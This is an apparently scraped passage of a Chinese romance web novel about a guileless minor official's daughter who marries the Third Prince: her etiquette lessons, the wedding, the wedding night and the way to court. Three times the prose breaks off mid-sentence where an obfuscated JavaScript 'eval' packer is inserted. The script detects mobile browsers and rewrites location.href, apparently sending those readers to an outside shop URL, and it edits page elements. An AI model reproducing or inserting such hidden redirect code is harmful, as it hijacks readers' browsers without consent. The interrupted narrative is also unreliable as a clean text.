《笨蛋美人她天生凤命》 1. 宝楹的婚事 平嘉十九年的春天来得格外晚,二月正是化雪时节,反而比立春时更冷了一些。出了正月以来,宝楹屋里的炭盆就没熄过。 此时窗外泛起淡淡的蟹壳青色,已经过了卯正,她还赖在暖和的被窝里不肯起床。 爹娘娇纵她,赖床并不是什么大事。不出太阳的阴天,睡到辰时也是常事。 可是这一回母亲珍娘没有惯着她,好说歹说地把人拉起来:“乖宝儿,快起来梳洗,宫里的教习嬷嬷到了。” “什么教习嬷嬷?”宝楹脑袋还混沌着呢。 珍娘一边给她穿衣裳,一边慢声嗔道:“你这孩子,四月就要成亲了,怎么还一点儿不上心呢?” 宝楹接过丫鬟递过来的酽茶漱了漱口,心道母亲真是冤枉她了,说到成亲,没有谁比她更上心了。 毕竟,这是她的婚事呀! 说起来,这桩婚事来得真是巧。 去年冬月,宝楹刚过完十七岁生辰,爹娘就张罗着给她说亲。说亲的对象不是别人,正是舅舅家的二表兄卫轩。 卫家有三兄妹,宝楹自幼与他们一起长大。 大表兄卫辑温润有礼,小表姐如茵更是同她亲如姐妹,唯独二表兄卫轩让她恨得牙痒痒。 卫轩真是她见过最恶劣的人。 他从小就喜欢欺负她,每次见面,不把她弄哭不罢休。偏偏他又很会讨女孩子欢心,宝楹的手帕交里,十个有八个喜欢他,这更让她有苦难言了。 对宝楹来说,让她嫁给卫轩,还不如杀了她呢。 眼见两家长辈罔顾她的意愿,将亲事议得如火如荼之时,一道赐婚圣旨如同神兵天降,把施家的独女宝楹许给了当朝的三皇子。 这道圣旨打乱了所有人的阵脚,施家和卫家的亲是结不成了,两家长辈面上都有些戚戚。 只有宝楹觉得这是好事啊,试问普天之下的婚事,哪有比嫁给皇子王孙更好的? 表姐如茵告诉她,三皇子封了燕王,她只要一嫁过去,就是正一品的亲王妃。 宝楹对诰命品级没有概念,她爹只是个从七品的小官,能见到最大的官就是顺天府尹了。哦,还有她那在礼部当正六品主事的舅舅,已经是宝楹眼里可望不可及的存在。 如茵打了个比方:“这么说吧,当上亲王妃,以后你可以猪肉只吃猪颈肉,螃蟹只吃蟹膏黄,鲍鱼只吃二头鲍,就连春笋,也可以只吃最嫩的尖尖!” 宝楹听得口水都快流出来了。 她对这桩婚事满意得不得了,每天数着手指算出嫁的日子。 听说宫里的老太后病重,天家有意借这桩婚事冲喜,因此将吉日定在了四月。 出了正月后,宫里拨了针工局的绣娘过来为她量体裁衣,缝制大婚的嫁衣和王妃朝服,顺带派了个礼仪嬷嬷过来教她规矩。 生怕女儿给宫里的人留下不好的印象,珍娘催着宝楹匆匆梳洗完,又陪着她到前厅去见那位嬷嬷。 打眼望去,只见那礼仪嬷嬷穿着严整的女官服饰,五六十岁的模样,满头银发一丝不苟地梳起,两道深深的法令纹将她的严厉气质展露无遗。 宝楹不由自主地瑟缩了一下。 她打量那嬷嬷时,那嬷嬷也在观察她。 面前的少女生得乌发雪肤,丰容冶丽,圆而大的杏眼晶亮水润,整个人如同一朵流光含露的白牡丹,美得叫人心颤。 再看她穿着一身桃红缂丝短袄、柳绿挑金棉裙,鲜艳明亮的衣裳却丝毫不喧宾夺主,反将她衬得如玉之华,如月之光,清艳照人。 礼仪嬷嬷行走内廷三十余年,见过的秀女妃嫔不计其数,这位施姑娘的样貌绝对称得上是独一档的。 难怪当初燕王请求皇帝下旨赐婚的时候,给的理由是一见钟情。 起先嬷嬷还觉得纳闷,一个七品小官之女,当侧妃也算是抬举了。如今见到本尊,倒是有点理解燕王的选择了。 她到底是宫里出来的人,任是心里如何千回百转,面上仍是滴水不漏:“施小姐,奴婢是尚仪局的司籍,唤我桂嬷嬷就好。接下来的两个月内,会由奴婢教授您宫规礼仪,还望小姐千万认真钻研,切莫丢了皇家脸面。” 宝楹见她一脸肃重,心头也不由紧张起来,老老实实地垂头应是。 学规矩的第一天,桂嬷嬷给宝楹介绍宫里的主子们。 当今天子正值壮年,后宫佳丽三千,膝下子嗣颇丰,却因中宫无出而迟迟没有立储。 宫里足有十二位皇子,不过,最有望角逐东宫的,当属五位已经成了年的皇子。 宝楹的未来夫婿就是其中之一。 三皇子宗铎乃徐贤妃所出,其外祖父官拜内阁次辅,兼任户部尚书,权柄十分煊赫。 而宗铎本人亦文韬武略,三年前曾随军出征北元,因功受封燕王,如今统领着三大内廷近卫之一的龙禁卫,在朝中颇有贤名。 桂嬷嬷告诉宝楹,其他几位皇子娶的都是重臣之女,唯有宗铎娶了个对他仕途毫无助力的王妃,含蓄地暗示她务必珍惜这份得之不易的机缘,日后谨守本分、相夫教子。 宝楹没听出桂嬷嬷的弦外之音,她只觉得宗铎真有眼光。 不过,虽说是对她一见钟情,可宝楹并不记得在哪里见过这位三皇子。 她虚心向桂嬷嬷请教:“嬷嬷,燕王殿下生得好不好看?” “小姐慎言!” 孰料这话像捅了马蜂窝,桂嬷嬷一声冷喝,把宝楹吓了一跳。 只见她痛心疾首道:“小姐来日嫁入皇家,成了宗室媳妇,一言一行皆代表天家颜面,怎么能将注意放在男人的样貌上?这种有违妇德的话,以后切莫再提!” 宝楹吓得噤若寒蝉,只能无措地眨巴着清澈的大眼睛。 坏了,瞧桂嬷嬷这激动的反应,她的未婚夫君肯定长得很拿不出手。 桂嬷嬷的教习十分严厉,宝楹每天寅时就得起床,睁开眼睛就是学规矩练礼仪,戌时才让吃晚饭。因为学东西太慢,时不时还得挨桂嬷嬷一通训。 当然,她那温吞又迟钝的性子也总是气得桂嬷嬷无语凝噎。 就在这么鸡飞狗跳的忙碌中,转眼到了成亲前夕的日子,宝楹终于学完了宫规礼仪,将相看两厌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149183|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桂嬷嬷送回了宫里。 大婚的前一天,舅舅一家过来给她添妆。 宝楹嫁的是宗室,嫁妆自然不能太过寒酸。舅舅将如茵的嫁妆都拉了过来给她添箱,横竖如茵尚未定亲,日后还能慢慢添置。 “舅母,卫轩没回来吗?” 宝楹东张西望,没瞧见卫轩的身影,心里还有点小失落。 卫轩十岁时被卫舅舅送到蜀中去习武,逢年过节方会回京待上十来日。虽说她的婚讯敲定以后,卫舅舅也给蜀中去了信,不过四月的婚期太急,看来他没能在她大婚之前赶回来。 卫舅母拉着她的手语重心长道:“好孩子,你跟你轩哥哥没有缘分,以后别惦记着他了,啊。出嫁以后,要跟燕王好好过日子……” 宝楹哭笑不得。 她才不是舍不得卫轩呢,她只是想让他看看,她如今的身份今非昔比了。卫轩要是再想欺负她,最好先掂掂自己几斤几两! 到了晚上就寝时,珍娘走进宝楹的闺房,把丫鬟小帘唤了出去,给母女俩腾出说体己话的空间。 坐在床边,看着散了钗环的女儿,珍娘轻抚着她乌缎般的长发,心中感慨万千:“当初你小小的一只,屁颠屁颠地跟在娘亲身后,仿佛永远也长不大的样子。一转眼,都要出嫁了。” 宝楹投进珍娘怀里蹭了蹭,撒娇道:“以后还常常回家。” “傻话,当了别人家媳妇,哪能天天回娘家,也不怕别人笑。” “为什么要怕别人笑。”宝楹嘟嚷,“别人怎么这么闲,天天笑这笑那的。” 珍娘收了笑,慢慢道:“当了新娘子,可就不能跟在家一样任性了。要侍奉公婆,照顾夫君,打理中馈……” 宝楹不满道:“夫君还是小孩子么,为什么要我照顾,他照顾我还差不多!” 她可是偷偷看过庚帖的,宗铎比她足足大了四岁! 珍娘哭笑不得:“好罢,总之夫妻之间相互扶持,不分彼此。” 话到这里,她方缓缓道出今夜来意,从袖中取出一本图册递过去。 宝楹翻开一看,只见上面描绘着精美细致的图画,轩窗暗室,帘幕低垂……每幅图上面都有两个光着身子的人抱在一起。 她惊奇地瞪大了眼睛,兴致勃勃地问道:“这两个人在干什么?” 珍娘见女儿非但没有半分羞涩,还亮着眼睛追问,可见这单纯孩子是半点不开窍,可怜这就要嫁为人妇了。 她心中涌起淡淡的伤感,抚着宝楹的头道:“这是周公之礼。等宝儿嫁给了三皇子,洞房之夜也要跟这画儿上一样,行过周公之礼,方成夫妻之实。” 宝楹看着画里头光溜溜的男女,脸上蓦地飞起红云:“啊?那我要脱光了去亲他吗?可、可他是男人诶!” 她只在娘亲和小帘面前脱过衣裳呢! 珍娘无奈地笑:“他是你夫君啊!夫妻敦伦天经地义,宝儿不必抵触。” 宝楹心不在焉地听着,又忍不住去想三皇子的模样。 好吧……她真是很肤浅,如果他长得丑的话,那她一定是下不去嘴的。 2. 兴师动众的成亲 翌日寅时,四角菱花窗框住鸭蛋青的天色,天光还未破晓,宝楹便被一群喜娘拽了起来。 为首的是个四五十岁穿宫装的姑姑,据说是宫里派过来给她开脸梳妆的。 宝楹昨夜胡思乱想,至下半夜方睡着。没睡够两个时辰,又被拖起来梳妆打扮。她迷迷瞪瞪地坐在妆台前打瞌睡,像个乖巧的布娃娃般,任由那些喜娘在她脸上身上摆弄。 待上好妆,听着周围一片此起彼伏的夸赞声,宝楹终于清醒了些许,不经意瞥到花枝铜镜中的小娘子,满腔睡意顿时飞到了九霄云外。 这、这是她? 镜中的少女描眉画鬓,额间贴着金灿灿的花钿,一张樱桃口涂得娇艳欲滴,盈润雪腮也打满了桃花粉。黑琉璃般的眸子顾盼之间,竟莫名有股欲语还休的妩媚之意。 喜娘们交叠着赞不绝口:“难怪姑娘能当王妃,这样的好颜色,满京城也挑不出一个来。” 在一片赞颂声里,喜娘们错落有致地给她套上凤冠霞帔,层层叠叠,红罗纱,织金锦,玉革带。 好沉好重,宝楹头都快抬不起来了。 可是等到临出门那一刻,房门对开,朝阳像条金带子一样直铺到宝楹脚边,她又觉得这一切是值得的了。 闺阁少女梦中的婚礼不外如是,喜服上绣的并蒂莲纹在朝阳下浮光跃金,踩着日光迈步走出去,仿佛一步步迈向光明灿烂的前路。 宝楹没有亲兄弟,由大表兄卫辑背着她上了喜轿。 按制,亲王成婚不必亲迎,过来接亲的是燕王府的长史,姓萧,是个儒雅稳重的中年文士。随行的王府仪仗严整肃穆,喜轿一路走到燕王府的正殿前才停下。 喜娘搀着宝楹出了轿子,往她手上递过来一段红绸。 宝楹接过来,红绸中间结着个花球,可以感受到另一端也有人牵着。 那应当就是要跟她携手共度一生的人了。 宝楹按捺不住好奇,只是她头上罩着流苏坠金珠的红盖头,只能用余光悄悄往下瞟,借着盖头的缝隙瞧见一双绣金线乌缎登云履。 他的步子迈得极稳,履靴之上是红色喜服的襕边,随着步伐轻轻摆动。 “看路。” 耳边响起一道沉润的男声,磁性中带着漱雪般的淡冷,很好听。宝楹一个分心,脚下立刻被台阶一绊,整个人往前扑倒。 她的心猛地跳漏了一拍,千钧一发之际,一只手伸过来稳稳扶住她的臂弯,稳住了她向前倾倒的身形。 一旁的喜婆立刻笑道:“这还没进门就开始互相扶持了,可见日后必定琴瑟和鸣,和和美美。” 饶是有喜婆打圆场,宝楹还是听到了宾客中的一些谑笑。因视线受阻,反而将那些窃窃私语听得格外清楚: “听说新娘子是小门小户出身,难怪这么上不了台面。” 什么啊,宝楹气得轻咬贝齿,明明是宗铎突然开口害得她分心! “这也难怪,小麻雀变凤凰,一时失态也是有的。” 可恶,她可没想着高攀,是宗铎求着要娶她的。 步入喜堂,新人在傧相的引导下行过拜堂礼,又被喜娘引着进了新房行合卺礼。 宝楹乖巧地坐在床上,隔着红蒙蒙的盖头,影影绰绰地瞧见新房里聚着一堆人,傧相在旁边主持着坐床、撒帐…… 红枣花生桂圆向像雨点一样洒在她身上,那傧相口中念念有词:“一撒荣华富贵,二撒金玉满堂,三撒三元及第,四撒龙凤呈祥……” 宝楹听得都快睡着了。 终于她听到一声“新郎官掀盖头”,顿时精神一振,重头戏终于来了。 她迫不及待地抬眸张望,忽然又想起出门前喜娘教她的,跟新郎的初见须得矜持婉约——要秀目低垂,含情脉脉地望上去,对视一眼,再把眼波慢慢转下来。 她连忙垂下眼睛,忽然面前一亮,盖头已经被喜秤挑开了。 “哇……”观礼的宾客发出数声惊叹。 宝楹心头一慌,哪里还顾得上装模作样,愣愣地抬起眼皮,猝不及防地撞进一双沉静幽亮的眼眸里。 那双深浓泛金的乌瞳清晰倒映着她的形容,小圆脸,下颌尖尖,大而圆的水杏眼里闪过的紧张无措……倒像跟自己对视了一眼似的。 宝楹愣了一瞬,才回过神去看他的样貌。 一张英俊绝伦的脸庞闯入她的眼底,窄面直颌,浓眉斜飞入鬓,半挑的丹凤眼,鼻梁骨又挺又直,薄唇却有着微弓的弧度。 他神色无波地望下来,身旁是一对烧得正旺的龙凤红烛,摇曳着金色的光芒。喜庆热烈的新房里,那张俊美而没有表情的脸像一轮清冷的月,淡漠而疏离。 宝楹一时有些怔忪。 “新娘子不怕羞,盯着新郎官看得不眨眼呢。” 一旁的喜娘打趣道。 一屋子观礼的人都笑起来。 在一片打趣与赞美的笑声中,宝楹羞涩地低下头别开视线,又忍不住用余光瞥了他一眼。 宗铎在她身边坐了下来,傧相捧来合卺酒,剖开的两半小葫芦,里头盛着清亮的酒液。 按照习俗,两人须将瓢中之酒各饮一半,而后换过来,将对方瓢中之酒饮尽,取同甘共苦、永不分离之意。 宝楹取过面前的酒瓢,小心翼翼地抿了一半入口。那酒液清甜醇厚,倒是不难喝。瞧着他将喝过的酒瓢递了过来,她也忙回递过去。 交换时指尖相触,他的手指如玉箸般修长劲瘦,端着酒瓢的手背青筋微隆,劲力十分沉稳,酒水连微波都不曾漾起。 宝楹又忍不住抬眼悄悄看他,却见宗铎拿着她喝过的那一半酒瓢,不动声色地避开上面的红口脂,从另一侧仰头饮尽了。 什么嘛!他是不是嫌弃她?有本事今晚别亲她的嘴。 宝楹不高兴了,可惜她这半瓢没有唇印,做不到以牙还牙,只好悄悄留了一口没喝掉,以示抗议。 喝过合卺酒,宾客们都被请到前头吃席去了,新郎也要出去待客,新房里便只剩下宝楹一个人了。 这时她才有空打量这间新房。她坐的床是金丝楠打的千工拔步床,雕花围栏上挂着大红锦带,银座烛台上点着成对的龙凤红烛,嵌在四周板壁上的琉璃棱镜反射着烛光,映照得整间新房亮如白昼。 好大的屋子啊!宝楹惊叹,这比她家会客的厅堂还大。单就这张床,睡下她和如茵和小帘还绰绰有余,在上面打滚都没问题。 宝楹美滋滋地躺倒在床,不料被褥子上的红枣花生等物硌着了腰。她悻悻坐起来,剥了一颗花生送进嘴里,这才惊觉自己大半天滴米未进,早就饥肠辘辘了。 “小帘!”宝楹往外头喊了一声。 珠帘卷起,逶迤走进来数个宫装侍女。为首的是个四十上下的圆脸姑姑,端庄整齐地朝宝楹行了一礼:“奴婢拜见王妃。” 原来这圆脸姑姑姓孙,是宗铎的乳母,自他开府后便跟了出来掌摄王府内务。 孙姑姑生得慈眉善目,顾盼间却自有一股威严,一身气度胜过许多官家太太。 她给宝楹介绍身后的四个侍女: 她们均是十七八岁的模样,名字分别唤作:白露、青霜、红霞、素雪,是徐贤妃宫里拨过来的一等宫女。 孙姑姑告诉宝楹,亲王妃身边的一等婢女定额是八人。按照惯例 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149184|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王妃娘家会陪嫁四人,宫里再拨四人。施家只陪嫁了小帘一个人过来,所以如今正院只有五位一等婢女。 “奴婢会禀明贤妃娘娘,届时再拨三人过来补足缺额。” 宝楹连忙摇手:“不必了,五个人已经很多了。” 老天啊,她家的丫鬟小厮杂役加起来也就六七个人,这王府竟然一个主子就配八个婢女,还有没有天理了! 当然,她没留意到这只是一等婢女的份额。事实上,单是整座正院,负责各种杂事的宫女内侍便足有数十人之多。 孙姑姑很好说话,含笑道:“那么王妃今后看谁得用,再慢慢提拔上来。奴婢还要到前头去待客,王妃有什么要求,只管吩咐白露她们去做。” 说着,又是盈盈一礼,莲步轻移地退下了。 宫里出来的人仪态真好啊!宝楹的目光望着孙姑姑的背影,直到完全看不见了,方慢慢移到面前的四位婢女身上。 不知为何,她直觉这四人不如孙姑姑好说话。 “那个,我想弄点东西吃,成吗?”宝楹小心翼翼地开口。 红霞朝她行了一礼:“奴婢是管饮食膳药的,王妃若要吃什么,吩咐奴婢便是。” “要酱肘子,烧乳鸽,水晶鱼脍,还有一大碗香香软软的蒸米饭。” 宝楹很谨慎,点的都是平时吃喜酒时会上的菜。 “噗嗤——”四个婢女面色古怪地笑了一声。 四婢中为首的白露开口道:“王妃,你以为你是来吃喜酒的呢?殿下不定什么时候会过来,王妃的当务之急是卸妆沐浴,随便吃点东西填填肚子得了。” 红霞忍笑道:“奴婢去给王妃端一碟糕点来吧。” 宝楹很郁闷,这个白露说话时带着一股盛气凌人的劲儿,不知道的还以为她才是主子呢!不过她是贤妃娘娘派来的人,还是不要跟她计较了。 于是她老实地任由白露三人上前给她卸下钗环,又脱掉层层叠叠的喜服,到后头的浴房里沐浴更衣。 一通折腾下来,换上了轻软的红绸寝衣,长发也披散了下来,总算舒适多了,就是肚子愈发饥饿难耐。 红霞端来一碟桃花酥,一碟水晶糕,宝楹把它们吃了个干干净净。 填饱了肚子,白露等人都退了下去,宝楹端坐在床上静候她的新郎回来。 半人高的龙凤红烛上火光摇曳轻舞,银座灯盘上渐渐淌满了烛泪,连前头的管乐笙歌都渐渐消散了。 宝楹困得倚着雕花床柱打了好几回盹,打起精神一看板壁上的西洋钟——这也是稀罕物,她从前没见过,好在那钟上标着时辰,看样子只差两刻就到亥时了。 她忍不住唤人进来:“前头的宴席还没散么?” 白露漫不经心道:“回王妃,宴席早就散了,不过殿下在书房议事,不定什么时候回来,王妃请自行安置吧。” 宝楹睁大眼睛:“什么事情这般要紧,非得大婚当夜商议的?你去把他叫回来,我要洞房。” 白露诧异地看了她一眼,悻悻道:“王妃也太不怜恤下人了,那是殿下的安排,我们做奴婢的怎敢多嘴?” 宝楹知道这是个刁婢,也不跟她啰嗦,把她自己的陪嫁丫鬟小帘叫了进来:“小帘,你去把姑爷请回来!” “我?”小帘吃惊地指着自己。 宝楹低头望了眼身上的红寝衣,无奈地摊开手:“总不能我去吧?” 说完,怕小帘办事不力,又招手把她叫到跟前,如此这般地交代了一番。 “啊?真的要这样说吗?” 小帘为难得直挠头,可是为了自家小姐的幸福,只好硬着头皮出门了。 3. 戛然而止的洞房 小帘硬着头皮出了新房,逮着人一路问过去,终于摸到了宗铎的书房外。 廊下两道红纱灯笼荧荧生辉,书房里头灯火通明,一个面目清俊的年轻内侍守在门口。 小帘脚步踟蹰地走上前,怯生生道:“殿下是不是在里头啊?” 年轻内侍瞟了她一眼,含笑道:“你是王妃的丫鬟吧?殿下还有事,姑娘先回去服侍王妃歇息吧。” 小帘碰了个软钉子,可是好不容易找到这里,怎么能无功而返呢? 她深吸了一口气,趁那内侍不备,冲到门口朝里头大声喊道:“姑爷,我家小姐说了,洞房花烛夜,还要排在金榜题名前呢!您就是今儿中了状元,也得先回去跟她把房圆了!” 书房里头静默片刻,而后隐隐传出数道笑声。 不多时房门拉开,一个俊秀的年轻公子走出来,把小帘打量了一番,笑道:“殿下知道了,事情议完立刻回去陪你家小姐。元仪,带这位姑娘到耳房里暂候吧。” 说完,又把房门关上了。 小帘只好跟着那年轻内侍到了耳房里头。 原本以为只是“稍候片刻”,没想到在她打了第一百零八个哈欠后,元仪方掀帘进来,对她说道:“姑娘,殿下要回房了,你快跟上吧!” 小帘连忙追出廊下,见一道挺拔的身影走在前头。 他穿的不是那袭大红喜服,而是一身窄袖束腰的淡青常服,但小帘知道这一定是燕王。月华下那一身矜贵气度,除了这座王府的主人,再没别人的。 她紧赶慢赶地跟上去,夜色下的半轮弯月向西偏移,银晖洒在绿树枝叶上,像结了层淡霜。 小帘后知后觉地意识到这已经是下半夜了。小姐这会儿应该已经睡着了吧! * 宗铎回到新房里,床头那对龙凤红烛还在燃烧着,噼里啪啦地爆着灯花,他顺手拿起台面上散落的金簪挑亮了烛芯。 往铺着大红鸳鸯喜被的床褥间望去,她果然睡得熟了,长发如乌缎般倾泻铺陈在枕席间,青丝掩映下的雪腮如新剥的荔枝,看上去丰盈软润,透出几分稚气来。 那双眼睛,他记得是很大,很清很亮,像两丸黑水银。如今闭上了,才发觉她的睫毛也长得很,像两把小扇子,在跳跃的烛光下微微地翕动着。 施氏的美貌有一点出乎他的意料,当然,她的莽撞更出乎他的意料。 她好像不大懂规矩。 宗铎长眉微敛,解下外袍挂在床头的架子上,轻轻托起她的肩膀和腿弯,将她塞到拔步床最里头去了。他自己在外侧和衣躺下。 漆金红烛爆出一个细小的灯花,愈发显出夏夜的静谧来。 宝楹睡得并不沉,她一心记挂着今夜是她的大日子。一个翻身,脑袋磕在围栏上,“咚”的一声,立时教她清醒了过来。 宝楹揉揉额头,她睡相一直不大好,可这还是头一回把自己挤到最里边去。四下张望了一番,赫然看到外边躺着个年轻男人。 他的侧脸线条英括挺拔,而边缘一圈暖金的烛光又恰到好处地冲淡了面庞的锐意,简直像玉刻般的一张脸。 她几乎是呆了一瞬,才反应过来这是她的新婚夫婿。 今晚是她的新婚夜呀! 宝楹扑上去,摇了摇他的肩膀,轻唤道:“殿下,殿下!” 垂下来的发丝扫在他的脸上,像春天的柳絮,伴着女子呵气如兰的吐息,似有若无地往鼻腔里钻。 宗铎想无视她都不行,只得睁开眼睛道:“何事?” 宝楹见他醒来,高兴地说道:“你忘啦,我们还没圆房呢!” “圆房……”宗铎长眉微凝。 “你不知道么?”宝楹压低了声音,“难道成亲之前你娘亲没有告诉你么,新婚夫妇要圆过房,才算礼成的呀。” 宗铎望着面前灿若桃花的少女,她几乎贴在他身侧,女孩儿的馨香无孔不入地围裹着他。 他不着痕迹地挪开了些。 宝楹见他不说话,以为他当真不懂,便好心地给他开蒙:“圆房就是……” 她伸出两根大拇指贴在一起,脸上也不由微微发烫,“就是两个人抱在一起亲嘴儿……” “很晚了。”宗铎忽然开口打断她,“休息吧。” “那怎么成?”宝楹急了,从枕头底下摸出一张素帕在他面前晃了晃。 “明天我要把这张元帕给孙姑姑的。不圆房,我怎么交差呀?” 这张素帕是孙姑姑拿给她的,告诉她这是女子新婚夜的元帕,圆房时务必垫在身下,待明日一早再交还给她。 宝楹似懂非懂地接过来,看孙姑姑那郑重其事的样子,想来是很重要的环节。因此她也格外重视。 宗铎垂眸望着那张素色绢帕,伸手从她手中抽走,道:“我来交差就是。” 宝楹手上一空,见他又躺了下去,半分不准备配合她的样子。她不由心中一急,干脆双手按着他的肩膀,凑上前朝他的嘴唇强吻过去。 还没碰到他,颈间忽然一麻,整个人软绵绵地躺倒了下去。 一夜酣眠。 翌日一早,宝楹从梦乡中醒来,望着红纱帐顶的宝相花纹出了一会儿神。 揉揉眼睛从床上坐起来,望着自己身上的红衣红裤,再看屏架窗台上贴的大红喜字,这才记起昨晚是她的新婚夜。 她的目光游到轩窗下的月亮桌边,见到她的新婚夫婿已经穿戴整齐,金冠玉带,坐在熹微晨光里用着早膳。 想起昨夜的事,宝楹“噌”地一下踩着木屐下了床,三步并作两步跑到宗铎面前:“殿下,昨晚咱们是不是忘了什么重要的事!” 宗铎抬眸看了她一眼。 她跑得急,饱满的胸脯像揣了对小白兔,一跳一跳的,在轻透的夏衫下简直呼之欲出。他镇定自若地别过眼去,语气里却带着几分不豫:“谁教你衣冠不整就抛头露面的?” 宝楹后知后觉地捂住胸口,转念一想,面前这个男人是她的夫婿呀,好像也没什么好难为情的。 “这里又没有外人。”她小声道。 “来人。”宗铎扬声朝外头唤道,“进来服侍王妃梳洗更衣。” 白露等人捧着托盘鱼贯而入,次第将面盆漱盂、青盐花胰、金玉头面、王妃朝服摆在案桌上。随后,她们团团围住宝楹,行云流水地服侍着她洗漱梳妆、簪饰更衣。 小帘无所事事地站在一旁,根本插不进手去。 宝楹梳了个高?髻,头上簪满珠翠,又穿着层层嵌套的礼服。她觉得新鲜极了,在琉璃穿衣镜前转了一圈,笑盈盈道:“小帘你快看,我像不像个唱戏的?” 她是甜净的长相,唯有溜圆的杏目眼尾微勾,带出几分媚态。那王妃的冠服雍容典雅,将她身上的稚纯和妩媚都镇住了。 小帘由衷地夸赞:“小姐好美啊,像《铡美案》里的公主的扮相!” “哈哈哈,那殿下就是陈世美。” 宗铎实在是听不下去这主仆俩的弱智对话了,把侍奉的人都打发了出去。 “一会儿要进宫给皇上皇后敬茶。”他曲指扣了扣月亮桌,示意她过来用早膳。看她忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149185|196416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着在镜子前顾盼,又问了一句,“你的教习嬷嬷有没有告诉过你?” 宝楹胡乱点点头。 她当然知道了,成婚第二天要给公婆敬茶,第三天可以回门。真是奇怪,他喊自己的爹爹娘亲,怎么也那么生疏。不过她没有细究,她忙着给自己贴花钿。 宝楹左眼尾有一粒红痣,她不喜欢。每次出门,她喜欢在那粒小痣上贴一枚洒银花钿,左边贴了,右边也得贴。像眼尾延伸出的一线银月,亮晶晶的,很俏皮。 贴好了花钿,她走到桌边一看,他用过的早膳已经撤下去了,上面摆的是全新的粥膳。 熬得浓稠的莲子粥,蜜汁藕,洒糖霜的蒸酥酪,清淡适口的龙井虾仁……荤素俱全,咸甜齐备,精致的珐琅白瓷碟摆了一桌,比她过节吃的还丰盛。 “将就用点。时辰不早了。”宗铎吩咐她。 “嗯嗯。” 宝楹的吃相很好,小口细咽,不过她咀嚼很快,腮帮子动个不停,转眼一碗莲子粥见了底,其他膳食也被她吃了个精光。 宗铎看着刚走过一刻的西洋钟,又看着桌上吃得精光的早膳,几番欲言又止,终是什么也没说。 不过到了进宫的马车上,在听到她打了第三个嗝后,他终于忍不住开口了:“用膳轻饱即可,剩一点饭菜也没什么,不必勉强。” “一点儿也不勉强。”宝楹摇摇手,按她的饭量,再吃两个窝窝头都绰绰有余呢。 她也觉得打嗝有些失礼,不好意思地解释道,“我不是在打饱嗝,是因为即将面圣,太紧张了。” 那可是当今天子啊,宝楹没想到她爹和舅舅都没见到的皇帝,竟然让她先见上了! 她心里又激动又忐忑,想象中的帝王形象悄然浮现在眼前:身高一丈,眼如铜铃,声若洪钟,全身穿着黄金做的冠服,像城隍庙里塑金身的老爷。 宗铎瞥她一眼,仿佛看穿了她心中所想,淡声道:“皇上也是人,平常心应对即可。” 他抬手斟了杯热茶,以手背推到她面前:“喝点茶水压一压。到了御前不要失仪,记着:多看、多思、少说、少做。” 宝楹捧着茶杯小口啜饮,果然紧张的情绪平复了许多,也不再打嗝了。 再悄悄抬眼看他,只见宗铎正仰靠着车厢板壁闭目养神。他穿着一身青绿间明黄的亲王朝服,难得那么一张年轻的面庞竟压住了这庄重的颜色。 昨儿夜里到底看得不真切,借着晨光又将他端详一番,果然生得面如冠玉,比她见过的所有男子都要好看。 宝楹心里满意极了,对他的态度也不自觉亲昵了许多:“殿下,我的小名叫宝儿,你的小名叫什么啊?” “没有。” “连小名都没有?”宝楹有些意外,“那你爹娘平时怎么唤你?” 宗铎默了默,没有睁眼看她,只道:“在宫里,不可用寻常人家的称呼,要称‘父皇’、‘母后’。你的教习嬷嬷没有告诉你么?” 他这是责问的语气,宝楹不高兴地撅起嘴:“桂嬷嬷当然教过我了,可咱们这是私下交谈啊,难道也得这样恪守礼仪么?那多累啊!而且我觉得这种叫法很生疏,哪有叫爹娘来得亲热……” “你的话太多了。”宗铎打断她,半睁凤目瞥她一眼,“方才跟你说的什么,都忘了?” “哪有忘啊!”宝楹掰着手指数,“不就是少看、少想、多做……呃,还有多说么?” 宗铎默然无言。 他怀疑她是故意的。可是看她那认真诚恳的表情,只差没把缺心眼写在脑门上了。 4. 夹枪带棒的敬茶 皇宫一如宝楹想象中的模样:富丽,巍峨,宫墙漆朱,重檐流碧。从西华门进去,要先去太后所在的仁寿宫拜见。 一路上,来往的宫人都会在他们的轿辇前停下行礼。他们穿着整齐划一的服饰,礼仪一丝不苟,永远低眉垂目,朝阳在他们脚下拉出长长的日影,可落在这巍峨的宫城之下,则渺小得像忙忙碌碌的蚂蚁。 宗铎对这些人是习以为常的无视,宝楹觉得他太没有礼貌了,她很认真地回应着每一个路过的宫人,对他们的行礼一一回以微笑。 